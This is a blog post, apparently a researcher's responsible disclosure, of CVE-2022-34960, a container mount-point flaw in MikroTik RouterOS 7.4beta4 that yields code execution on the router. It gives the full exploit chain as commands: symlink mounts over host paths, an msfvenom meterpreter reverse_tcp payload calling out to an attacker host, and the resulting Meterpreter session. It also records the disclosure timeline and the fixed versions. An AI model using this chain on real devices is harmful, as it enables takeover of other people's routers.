



Home
Contact
Git
RSS

Symlinks as mount portals: Abusing container mount points on MikroTik's RouterOS to gain code execution

CVE-2022-34960 CRITICAL: 9.8

Aug 5, 2022

RouterOS release 7.4beta4 introduced containers for MikroTik devices. From the [changelog](#):

container - added support for running Docker (TM) containers on ARM, ARM64 and x86

It turns out that due to a couple of implementation flaws, it's possible to execute code on the host device via the container functionality.

Mount points

In the [MikroTik documentation](#), it is shown that it's possible to create mount points between the host and the container. As an example, the `etc` folder on `disk1` is mounted into `/etc/pihole` in the container:

```
/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole
```

While playing around with this feature, I soon realized that the current implementation has three specific behaviour details which makes the feature rather dangerous.

1. Paths are resolved through symlinks

Let's, for example, take the following directory structure:

```
disk1/
├── dir1/
│   ├── file1
│   └── file2
└── dir2/ --(symbolic link)--> dir1/
```

Even though `dir2` is a symbolic link to `dir1`, adding a mount point to `disk1/dir2/file1` works, meaning that `dir2` is resolved to `dir1` before the file is mounted.

2. Symlinks are resolved relative to the host device's root, not the container's root

Let's say my container's root filesystem is stored in `disk1/alpine`. If I do the following inside the container:

```
# ln -s / /rootfs
```

... then inside the container, the directory `/rootfs` resolves to `/` as expected. However, if I then use this directory as a mount point source when setting the container up in RouterOS, then the symbolic link is resolved in relation to the device's own filesystem.

As an example, I'll mount the host filesystem inside the container's `/mnt` directory:

```
/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt
```

Then, from inside the created container, I can access the host's root filesystem:

```
# ls -l /mnt
total 0
drwxr-xr-x  2 nobody  nobody    149 Jun 15 11:38 bin
drwxr-xr-x  9 nobody  nobody    131 Jun 15 11:38 bndl
drwxr-xr-x  2 nobody  nobody     3 Jun 15 11:38 boot
drwxr-xr-x  2 nobody  nobody     3 Jun 15 11:38 dev
lrwxrwxrwx  1 nobody  nobody    11 Jun 15 11:38 dude -> /flash/dude
drwxr-xr-x  2 nobody  nobody   352 Jun 15 11:38 etc
drwxr-xr-x  2 nobody  nobody     3 Jun 15 11:38 flash
drwxr-xr-x  3 nobody  nobody    26 Jun 15 11:38 home
drwxr-xr-x  3 nobody  nobody   403 Jun 15 11:38 lib
drwxr-xr-x  5 nobody  nobody    73 Jun 15 11:38 nova
lrwxrwxrwx  1 nobody  nobody     9 Jun 15 11:38 pkg -> /ram/pkg
drwxr-xr-x  2 nobody  nobody     3 Jun 15 11:38 proc
drwxr-xr-x  2 nobody  nobody     3 Jun 15 11:38 ram
lrwxrwxrwx  1 nobody  nobody     9 Jun 15 11:38 rw -> /flash/rw
drwxr-xr-x  2 nobody  nobody    45 Jun 15 11:38 sbin
```

```
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 sys
lrwxrwxrwx    1 nobody   nobody           7 Jun 15 11:38 tmp -> /rw/tmp
drwxr-xr-x    5 nobody   nobody          111 Jun 15 11:38 var
```

While it's possible to read files, most of the filesystem is read-only, meaning it's not possible to write files. However...

3. Symlinks are resolved for both the `src` and `dst` parameters

What this effectively means is that by using this same `rootfs` symlink in the `dst` parameter, it is possible to mount any arbitrary directory or file from any location (even from inside the container) to any location on the host filesystem.

As an example, I create a mount point that mounts a `robots.txt` file from inside the container to the webfig directory, effectively "overwriting" the existing `robots.txt`:

```
/container/mounts/add name=robots src=/disk1/alpine/robots.txt
dst=/rootfs/home/web/robots.txt
```

Then, on a third machine, we verify that it was overwritten using `curl`:

```
$ curl router.lan/robots.txt
Hello from inside the container!
```

Exploitation

Mount-what-where is a very powerful primitive. It should be relatively easy to run arbitrary code - just mount over a preexisting executable on the system that gets executed by the device at some point.

However, that won't work, because of how the mount point is created. From `/proc/mounts`:

```
/dev/sda1 /nova/bin/telnet ext4 rw,nosuid,nodev,noexec,relatime 0 0
```

The mount point is created with the `nosuid`, `nodev`, and most importantly `noexec` options. This means that even if you were to mount over an existing binary, it would never get executed, and would instead fail with a "Permission denied" every time. This also extends to shared libraries, so mounting over `.so` files is also out of the question.

I also didn't spot any obvious config files which would allow running code.

This is where symlinks come to the rescue yet again.

As it turns out, symlinks existing on `noexec` filesystems but pointing to binaries existing on filesystems without `noexec` will still be executed:

```
$ cp $(which id) id1
$ ln -s $(which id) id2
$ ./id1
bash: ./id1: Permission denied
$ ./id2
uid=1000(xx) gid=1000(xx) groups=1000(xx)
```

This means that we can simply mount a symbolic link over a specific executable that points to the malicious binary we want to run, assuming it is accessible from some mount point that doesn't have the `noexec` flag set. By looking at `/proc/mounts`, we can see that the container's own root filesystem is actually not mounted with `noexec` (which makes sense - you wouldn't be able to run executables inside the container otherwise):

```
/dev/sda1 /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root ext4
rw,nosuid,nodev,relatime 0 0
```

This is all we need to mount a successful attack. As the malicious binary, I generated a `meterpreter/reverse_tcp` ELF:

```
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=10.4.0.245 LPORT=1338 -f
elf > rev
```

I copied this inside the container and also created a symlink pointing to its location in the executable mount point:

```
ln -s /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev /revlnk
```

As the target binary, I decided to use `telnet`, as it's relatively low-priority and easy to trigger and debug. I then created the mount point in RouterOS:

```
/container/mounts/add name=telnet src=/disk1/alpine/revlnk
dst=/rootfs/nova/bin/telnet
```

After starting the container, the binary `/nova/bin/telnet` was mounted over and was instead a symlink to our malicious binary:

```
/nova/bin/telnet -> /flash/rw/container/aa10a963-9715-4c61-967c-
7d9f993410e6/root/rev
```

As expected, after running `/system/telnet 127.0.0.1` on the device, I got a connection in my Meterpreter listener:

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.4.0.245:1338
[*] Sending stage (908480 bytes) to 10.4.0.1
[*] Meterpreter session 1 opened (10.4.0.245:1338 -> 10.4.0.1:59434) at
2022-06-21 10:24:34 +0300

meterpreter > ls
Listing: /
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040755/rwxr-xr-x	149	dir	2022-06-15 14:38:21 +0300	bin
040755/rwxr-xr-x	131	dir	2022-06-15 14:38:21 +0300	bndl
040755/rwxr-xr-x	3	dir	2022-06-15 14:38:21 +0300	boot
040755/rwxr-xr-x	6140	dir	2022-06-20 21:41:47 +0300	dev
				dude
040755/rwxr-xr-x	352	dir	2022-06-15 14:38:21 +0300	etc
040755/rwxr-xr-x	1024	dir	2022-06-20 21:41:14 +0300	flash
040755/rwxr-xr-x	26	dir	2022-06-15 14:38:21 +0300	home
040755/rwxr-xr-x	403	dir	2022-06-15 14:38:21 +0300	lib
040755/rwxr-xr-x	73	dir	2022-06-15 14:38:21 +0300	nova
040755/rwxr-xr-x	200	dir	1970-01-01 03:00:12 +0300	pckg
040555/r-xr-xr-x	0	dir	1970-01-01 03:00:00 +0300	proc
041777/rwxrwxrwx	400	dir	2022-06-21 08:33:07 +0300	ram
040755/rwxr-xr-x	1024	dir	1970-01-01 03:00:14 +0300	rw

This means we can successfully execute arbitrary code on the device.

The issue is fixed in RouterOS versions 7.4beta5, 7.4, 7.5beta1, and higher.

Timeline

- **21/06/2022** - Attempted to contact vendor
- **21/06/2022** - Vendor response
- **04/08/2022** - Assigned ID [CVE-2022-34960](#)
- **05/08/2022** - Vendor informs of fixes in codebase
- **05/08/2022** - Post published

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.

nns © 2022 | PGP `FBCC 0914 0134 3627 3FF9 6298 FE14 255A 6AE7 241C` (key)

Hosted on a GPS modem